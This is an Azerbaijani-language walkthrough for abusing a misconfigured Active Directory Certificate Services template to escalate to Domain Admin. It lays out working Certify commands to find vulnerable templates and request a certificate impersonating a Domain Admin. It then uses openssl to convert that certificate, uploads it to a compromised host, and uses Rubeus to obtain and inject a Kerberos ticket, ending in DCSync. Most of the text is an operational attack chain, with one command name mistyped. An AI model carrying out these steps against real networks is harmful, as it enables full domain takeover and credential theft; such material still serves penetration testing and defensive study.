Active Directory Certificate Services

ADCS nədir?

Active Directory Sertifikat Xidmətləri (AD CS) Windows Server-də bir komponentdir və təşkilatlara ictimai və şəxsi açar infrastrukturu təqdim edən sertifikat orqanı (CA) xidmətidir. AD CS sertifikat əsaslı təhlükəsizliyi aktivləşdirmək və idarə etmək üçün istifadə olunur.

AD CS zəifliyin yoxlanılması üçün Certify toolundan istifadə olunur.

.\Certify.exe find /vulnerable /quiet

msPKI-Certificates-Name-Flag dəyərinin "ENROLLEE_SUPPLIES_SUBJECT" olaraq təyin edildiyinə və Qeydiyyat Hüquqlarının Domain/Authenticated İstifadəçilərə icazə verdiyinə əmin olun. Əlavə olaraq, pkiextendedkeyusage parametrinin "Müştəri Doğrulaması" dəyərini ehtiva etdiyini və həmçinin "Səlahiyyətli İmzalar Tələb olunur" parametrinin 0-a təyin olunduğunu yoxlayın.

Bu istismar yalnız ona görə işləyir ki, bu parametrlər server/müştəri autentifikasiyasına imkan verir, yəni təcavüzkar Domen Admininin ("DA") UPN-ni təyin edə və identifikasiyanı saxtalaşdırmaq üçün ələ keçirilən sertifikatdan Rubeus ilə istifadə edə bilər.

Əgər Domain Admini Qorunan İstifadəçilər qrupundadırsa, istismar nəzərdə tutulduğu kimi işləməyə bilər. Hədəf etmək üçün Domain Admini seçməzdən əvvəl yoxlayın.

Sertifikatla DA-nın Hesab Sertifikatı tələb edin.

.\Certify.exe request /template:<Template Name> /quiet /ca:"<CA Name>" /domain:<domain.com> /path:CN=Configuration,DC=<domain>,DC=com /altname:<Domain Admin AltName> /machine

Bu, əlaqəli DA hesabı üçün etibarlı sertifikatı qaytarmalıdır.

Eksport edilmiş cert.pem və cert.key faylları END RSA PRIVATE KEY və BEGIN CERTIFICATE arasında bir boşluq olmaqla vahid cert.pem faylında birləşdirilməlidir.

cert.pem nümunə

-----BEGIN RSA PRIVATE KEY-----
BIIEogIBAAk15x0ID[...]
[...]
[...]
-----END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
BIIEogIBOmgAwIbSe[...]
[...]
[...]
-----END CERTIFICATE-----

PKCS 12 Formatına çevirmək üçün openssl-dən istifadə edin

Openssl əmri sertifikat faylını PKCS #12 formatına çevirmək üçün istifadə edilə bilər (sizdən istədiyiniz hər hansı bir ixrac parolunu daxil etməyiniz tələb oluna bilər).

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

cert.pfx faylı ixrac edildikdən sonra onu təhlükəyə məruz qalmış hosta yükləyin (bu, Powershell, SMB, certutil.exe, Cobalt Strike-in yükləmə funksiyası və s. kimi müxtəlif yollarla edilə bilər).

cert.pfx faylı pozulmuş hosta yükləndikdən sonra Rubeus yaddaşa idxal olunacaq DA hesabı üçün Kerberos TGT tələb etmək üçün istifadə edilə bilər.

.\Rubeus.exe asktht /user:<Domain Admin AltName> /domain:<domain.com> /dc:<Domain Controller IP or Hostname> /certificate:<Local Machine Path to cert.pfx> /nowrap /ptt

Bu, uğurla idxal edilmiş biletlə nəticələnməlidir ki, bu da təcavüzkarın DCSync hücumu kimi DA istifadəçi kontekstində müxtəlif zərərli fəaliyyətlər həyata keçirməsinə imkan verir.